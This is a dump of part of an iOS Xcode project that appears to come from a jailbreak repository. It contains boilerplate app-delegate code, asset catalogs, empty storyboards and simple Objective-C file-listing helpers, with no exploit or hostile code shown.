15 | @implementation AppDelegate
16 |
17 |
18 | - (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
19 | // Override point for customization after application launch.
20 | return YES;
21 | }
22 |
23 |
24 | - (void)applicationWillResignActive:(UIApplication *)application {
25 | // Sent when the application is about to move from active to inactive state. This can occur for certain types of temporary interruptions (such as an incoming phone call or SMS message) or when the user quits the application and it begins the transition to the background state.
26 | // Use this method to pause ongoing tasks, disable timers, and invalidate graphics rendering callbacks. Games should use this method to pause the game.
27 | }
28 |
29 |
30 | - (void)applicationDidEnterBackground:(UIApplication *)application {
31 | // Use this method to release shared resources, save user data, invalidate timers, and store enough application state information to restore your application to its current state in case it is terminated later.
32 | // If your application supports background execution, this method is called instead of applicationWillTerminate: when the user quits.
33 | }
34 |
35 |
36 | - (void)applicationWillEnterForeground:(UIApplication *)application {
37 | // Called as part of the transition from the background to the active state; here you can undo many of the changes made on entering the background.
38 | }
39 |
40 |
41 | - (void)applicationDidBecomeActive:(UIApplication *)application {
42 | // Restart any tasks that were paused (or not yet started) while the application was inactive. If the application was previously in the background, optionally refresh the user interface.
43 | }
44 |
45 |
46 | - (void)applicationWillTerminate:(UIApplication *)application {
47 | // Called when the application is about to terminate. Save data if appropriate. See also applicationDidEnterBackground:.
48 | }
49 |
50 |
51 | @end
52 |
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/Base.lproj/LaunchScreen.storyboard:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/Extension.h:
--------------------------------------------------------------------------------
1 | //
2 | // Extension.h
3 | // rootKit
4 | //
5 | // Created by Lakr Sakura on 2019/2/1.
6 | // Copyright © 2019 Lakr Sakura. All rights reserved.
7 | //
8 |
9 | #ifndef Extension_h
10 | #define Extension_h
11 |
12 |
13 | #endif /* Extension_h */
14 |
15 | NSArray *catchContentUnderPath(NSString *thisPath);
16 | int countItemInThePath(NSString *thisPath);
17 | bool isThisDirectory(NSString *thisPath);
18 | NSString *dropLastContentOfSplash(NSString *what);
19 | void setUserLandHome(NSString *home);
20 | NSString *readUserlandHome(void);
21 | void rootCheckOrCheckIn(void);
22 | bool isRootNow(void);
23 | void setOutPutString(NSString *s);
24 | NSString *readOutPutString(void);
25 |
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/Extension.m:
--------------------------------------------------------------------------------
1 | //
2 | // Extension.m
3 | // rootKit
4 | //
5 | // Created by Lakr Sakura on 2019/2/1.
6 | // Copyright © 2019 Lakr Sakura. All rights reserved.
7 | //
8 |
9 | #import
10 |
11 | NSString *userlandHome;
12 | NSString *outputString;
13 | bool isRoot = false;
14 |
15 | void rootCheckOrCheckIn() {
16 | isRoot = true;
17 | }
18 |
19 | bool isRootNow() {
20 | return isRoot;
21 | }
22 |
23 | void setOutPutString(NSString *s) {
24 | outputString = s;
25 | }
26 |
27 | NSString *readOutPutString() {
28 | return outputString;
29 | }
30 |
31 | void setUserLandHome(NSString *home) {
32 | userlandHome = home;
33 | }
34 |
35 | NSString *readUserlandHome() {
36 | return userlandHome;
37 | }
38 |
39 | NSArray *catchContentUnderPath(NSString *thisPath) {
40 |
41 | NSError *error;
42 |
43 | NSArray *contentFolder =[[NSFileManager defaultManager] contentsOfDirectoryAtPath:thisPath error:&error];
44 | if (error != nil) {
45 | NSLog(@"Something wrong.");
46 | }
47 | NSLog(@"%@",contentFolder);
48 | //
49 | // NSArray *contentFile = [[NSFileManager defaultManager] subpathsOfDirectoryAtPath:thisPath error:&error];
50 | // if (error != nil) {
51 | // NSLog(@"Something wrong.");
52 | // }
53 | // NSLog(@"%@",contentFile);
54 | //
55 | // NSArray *allFiles = [NSArray alloc] init
56 |
57 | NSStringCompareOptions comparisonOptions = NSCaseInsensitiveSearch|NSNumericSearch|
58 | NSWidthInsensitiveSearch|NSForcedOrderingSearch;
59 | NSComparator sort = ^(NSString *obj1,NSString *obj2){
60 | NSRange range = NSMakeRange(0,obj1.length);
61 | return [obj1 compare:obj2 options:comparisonOptions range:range];
62 | };
63 | NSArray *resultArray = [contentFolder sortedArrayUsingComparator:sort];
64 |
65 | return resultArray;
66 | }
67 |
68 | int countItemInThePath(NSString *thisPath) {
69 | NSError *error;
70 | NSArray *contentFolder =[[NSFileManager defaultManager] contentsOfDirectoryAtPath:thisPath error:&error];
71 | if (error != nil) {
72 | NSLog(@"Something wrong.");
73 | }
74 | NSLog(@"%@",contentFolder);
75 | return contentFolder.count;
76 | }
77 |
78 | bool isThisDirectory(NSString *thisPath) {
79 | BOOL isDirectory;
80 | if ([thisPath hasSuffix:@".plist"]) {
81 | return false;
82 | }
83 | BOOL fileExistsAtPath = [[NSFileManager defaultManager] fileExistsAtPath:thisPath isDirectory:&isDirectory];
84 | if (fileExistsAtPath && isDirectory) {
85 | return YES;
86 | }
87 | return NO;
88 | }
89 |
90 | NSString *dropLastContentOfSplash(NSString *what) {
91 | NSArray *listItems = [what componentsSeparatedByString:@"/"];
92 | NSString *p = @"";
93 | for (int i = 0; i < listItems.count - 1; i ++) {
94 | p = [p stringByAppendingString:listItems[i]];
95 | if (i < listItems.count - 2) {
96 | p = [p stringByAppendingString:@"/"];
97 | }
98 | }
99 | if ([p isEqualToString:@""]) {
100 | p = @"/";
101 | }
102 | return p;
103 | }
104 |
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/Contents.json:
--------------------------------------------------------------------------------
1 | {
2 | "images" : [
3 | {
4 | "size" : "20x20",
5 | "idiom" : "iphone",
6 | "filename" : "icon_20x20@2x.png",
7 | "scale" : "2x"
8 | },
9 | {
10 | "size" : "20x20",
11 | "idiom" : "iphone",
12 | "filename" : "icon_20x20@3x.png",
13 | "scale" : "3x"
14 | },
15 | {
16 | "size" : "29x29",
17 | "idiom" : "iphone",
18 | "filename" : "icon_29x29.png",
19 | "scale" : "1x"
20 | },
21 | {
22 | "size" : "29x29",
23 | "idiom" : "iphone",
24 | "filename" : "icon_29x29@2x.png",
25 | "scale" : "2x"
26 | },
27 | {
28 | "size" : "29x29",
29 | "idiom" : "iphone",
30 | "filename" : "icon_29x29@3x.png",
31 | "scale" : "3x"
32 | },
33 | {
34 | "size" : "40x40",
35 | "idiom" : "iphone",
36 | "filename" : "icon_40x40@2x.png",
37 | "scale" : "2x"
38 | },
39 | {
40 | "size" : "40x40",
41 | "idiom" : "iphone",
42 | "filename" : "icon_40x40@3x.png",
43 | "scale" : "3x"
44 | },
45 | {
46 | "idiom" : "iphone",
47 | "size" : "57x57",
48 | "scale" : "1x"
49 | },
50 | {
51 | "idiom" : "iphone",
52 | "size" : "57x57",
53 | "scale" : "2x"
54 | },
55 | {
56 | "size" : "60x60",
57 | "idiom" : "iphone",
58 | "filename" : "icon_60x60@2x.png",
59 | "scale" : "2x"
60 | },
61 | {
62 | "size" : "60x60",
63 | "idiom" : "iphone",
64 | "filename" : "icon_60x60@3x.png",
65 | "scale" : "3x"
66 | },
67 | {
68 | "idiom" : "ipad",
69 | "size" : "20x20",
70 | "scale" : "1x"
71 | },
72 | {
73 | "idiom" : "ipad",
74 | "size" : "20x20",
75 | "scale" : "2x"
76 | },
77 | {
78 | "idiom" : "ipad",
79 | "size" : "29x29",
80 | "scale" : "1x"
81 | },
82 | {
83 | "idiom" : "ipad",
84 | "size" : "29x29",
85 | "scale" : "2x"
86 | },
87 | {
88 | "idiom" : "ipad",
89 | "size" : "40x40",
90 | "scale" : "1x"
91 | },
92 | {
93 | "idiom" : "ipad",
94 | "size" : "40x40",
95 | "scale" : "2x"
96 | },
97 | {
98 | "idiom" : "ipad",
99 | "size" : "50x50",
100 | "scale" : "1x"
101 | },
102 | {
103 | "idiom" : "ipad",
104 | "size" : "50x50",
105 | "scale" : "2x"
106 | },
107 | {
108 | "idiom" : "ipad",
109 | "size" : "72x72",
110 | "scale" : "1x"
111 | },
112 | {
113 | "idiom" : "ipad",
114 | "size" : "72x72",
115 | "scale" : "2x"
116 | },
117 | {
118 | "size" : "76x76",
119 | "idiom" : "ipad",
120 | "filename" : "icon_76x76.png",
121 | "scale" : "1x"
122 | },
123 | {
124 | "size" : "76x76",
125 | "idiom" : "ipad",
126 | "filename" : "icon_76x76@2x.png",
127 | "scale" : "2x"
128 | },
129 | {
130 | "size" : "83.5x83.5",
131 | "idiom" : "ipad",
132 | "filename" : "icon_83.5x83.5@2x.png",
133 | "scale" : "2x"
134 | },
135 | {
136 | "idiom" : "ios-marketing",
137 | "size" : "1024x1024",
138 | "scale" : "1x"
139 | }
140 | ],
141 | "info" : {
142 | "version" : 1,
143 | "author" : "xcode"
144 | }
145 | }
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-1024.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/razmashat/voucher_swap/f1f2b65989a60a31a687799b3fa3f8a04e542f09/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-1024.png
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-20-ipad.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/razmashat/voucher_swap/f1f2b65989a60a31a687799b3fa3f8a04e542f09/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-20-ipad.png
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-20@2x-ipad.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/razmashat/voucher_swap/f1f2b65989a60a31a687799b3fa3f8a04e542f09/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-20@2x-ipad.png
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-20@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/razmashat/voucher_swap/f1f2b65989a60a31a687799b3fa3f8a04e542f09/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-20@2x.png
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-20@3x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/razmashat/voucher_swap/f1f2b65989a60a31a687799b3fa3f8a04e542f09/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-20@3x.png
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-29-ipad.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/razmashat/voucher_swap/f1f2b65989a60a31a687799b3fa3f8a04e542f09/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-29-ipad.png
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-29.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/razmashat/voucher_swap/f1f2b65989a60a31a687799b3fa3f8a04e542f09/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-29.png
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-29@2x-ipad.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/razmashat/voucher_swap/f1f2b65989a60a31a687799b3fa3f8a04e542f09/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-29@2x-ipad.png
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-29@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/razmashat/voucher_swap/f1f2b65989a60a31a687799b3fa3f8a04e542f09/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-29@2x.png
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-29@3x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/razmashat/voucher_swap/f1f2b65989a60a31a687799b3fa3f8a04e542f09/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-29@3x.png
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-40.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/razmashat/voucher_swap/f1f2b65989a60a31a687799b3fa3f8a04e542f09/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-40.png
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-40@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/razmashat/voucher_swap/f1f2b65989a60a31a687799b3fa3f8a04e542f09/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-40@2x.png
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-40@3x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/razmashat/voucher_swap/f1f2b65989a60a31a687799b3fa3f8a04e542f09/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-40@3x.png
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-50.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/razmashat/voucher_swap/f1f2b65989a60a31a687799b3fa3f8a04e542f09/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-50.png
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-50@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/razmashat/voucher_swap/f1f2b65989a60a31a687799b3fa3f8a04e542f09/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-50@2x.png
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-57.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/razmashat/voucher_swap/f1f2b65989a60a31a687799b3fa3f8a04e542f09/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-57.png
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-57@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/razmashat/voucher_swap/f1f2b65989a60a31a687799b3fa3f8a04e542f09/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-57@2x.png
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-60@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/razmashat/voucher_swap/f1f2b65989a60a31a687799b3fa3f8a04e542f09/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-60@2x.png
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-60@3x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/razmashat/voucher_swap/f1f2b65989a60a31a687799b3fa3f8a04e542f09/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-60@3x.png
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-72.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/razmashat/voucher_swap/f1f2b65989a60a31a687799b3fa3f8a04e542f09/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-72.png
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-72@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/razmashat/voucher_swap/f1f2b65989a60a31a687799b3fa3f8a04e542f09/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-72@2x.png
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-76.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/razmashat/voucher_swap/f1f2b65989a60a31a687799b3fa3f8a04e542f09/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-76.png
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-76@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/razmashat/voucher_swap/f1f2b65989a60a31a687799b3fa3f8a04e542f09/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-76@2x.png
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-83.5@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/razmashat/voucher_swap/f1f2b65989a60a31a687799b3fa3f8a04e542f09/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon-83.5@2x.png
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon_20x20@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/razmashat/voucher_swap/f1f2b65989a60a31a687799b3fa3f8a04e542f09/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon_20x20@2x.png
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon_20x20@3x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/razmashat/voucher_swap/f1f2b65989a60a31a687799b3fa3f8a04e542f09/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon_20x20@3x.png
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon_29x29.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/razmashat/voucher_swap/f1f2b65989a60a31a687799b3fa3f8a04e542f09/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon_29x29.png
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon_29x29@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/razmashat/voucher_swap/f1f2b65989a60a31a687799b3fa3f8a04e542f09/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon_29x29@2x.png
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon_29x29@3x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/razmashat/voucher_swap/f1f2b65989a60a31a687799b3fa3f8a04e542f09/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon_29x29@3x.png
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon_40x40@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/razmashat/voucher_swap/f1f2b65989a60a31a687799b3fa3f8a04e542f09/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon_40x40@2x.png
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon_40x40@3x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/razmashat/voucher_swap/f1f2b65989a60a31a687799b3fa3f8a04e542f09/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon_40x40@3x.png
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon_60x60@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/razmashat/voucher_swap/f1f2b65989a60a31a687799b3fa3f8a04e542f09/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon_60x60@2x.png
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon_60x60@3x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/razmashat/voucher_swap/f1f2b65989a60a31a687799b3fa3f8a04e542f09/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon_60x60@3x.png
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon_76x76.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/razmashat/voucher_swap/f1f2b65989a60a31a687799b3fa3f8a04e542f09/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon_76x76.png
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon_76x76@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/razmashat/voucher_swap/f1f2b65989a60a31a687799b3fa3f8a04e542f09/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon_76x76@2x.png
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon_83.5x83.5@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/razmashat/voucher_swap/f1f2b65989a60a31a687799b3fa3f8a04e542f09/xSpiral/XcodeGEN/Icon.xcassets/AppIcon.appiconset/icon_83.5x83.5@2x.png
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/Icon.xcassets/Contents.json:
--------------------------------------------------------------------------------
1 | {
2 | "info" : {
3 | "version" : 1,
4 | "author" : "xcode"
5 | }
6 | }
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/LaunchScreen.storyboard:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/LemonMilk.otf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/razmashat/voucher_swap/f1f2b65989a60a31a687799b3fa3f8a04e542f09/xSpiral/XcodeGEN/LemonMilk.otf
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/Main.storyboard:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
29 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/ViewController.h:
--------------------------------------------------------------------------------
1 | //
2 | // ViewController.h
3 | // rootKit
4 | //
5 | // Created by Lakr Sakura on 2019/1/31.
6 | // Copyright © 2019 Lakr Sakura. All rights reserved.
7 | //
8 |
9 | #import
10 | #include "Extension.h"
11 |
12 | @interface ViewController : UIViewController
13 |
14 | @end
15 |
16 | @interface FileManagerViewController : UIViewController
17 |
18 |
19 | @end
20 |
21 | @interface FileListTableView : UITableView
22 |
23 | @end
24 |
25 |
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/file.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/razmashat/voucher_swap/f1f2b65989a60a31a687799b3fa3f8a04e542f09/xSpiral/XcodeGEN/file.png
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/folder.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/razmashat/voucher_swap/f1f2b65989a60a31a687799b3fa3f8a04e542f09/xSpiral/XcodeGEN/folder.png
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/main.m:
--------------------------------------------------------------------------------
1 | //
2 | // main.m
3 | // rootKit
4 | //
5 | // Created by Lakr Sakura on 2019/1/31.
6 | // Copyright © 2019 Lakr Sakura. All rights reserved.
7 | //
8 |
9 | #import
10 | #import "AppDelegate.h"
11 |
12 | int main(int argc, char * argv[]) {
13 | @autoreleasepool {
14 | return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class]));
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/xspiralwallpaper.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/razmashat/voucher_swap/f1f2b65989a60a31a687799b3fa3f8a04e542f09/xSpiral/XcodeGEN/xspiralwallpaper.png
--------------------------------------------------------------------------------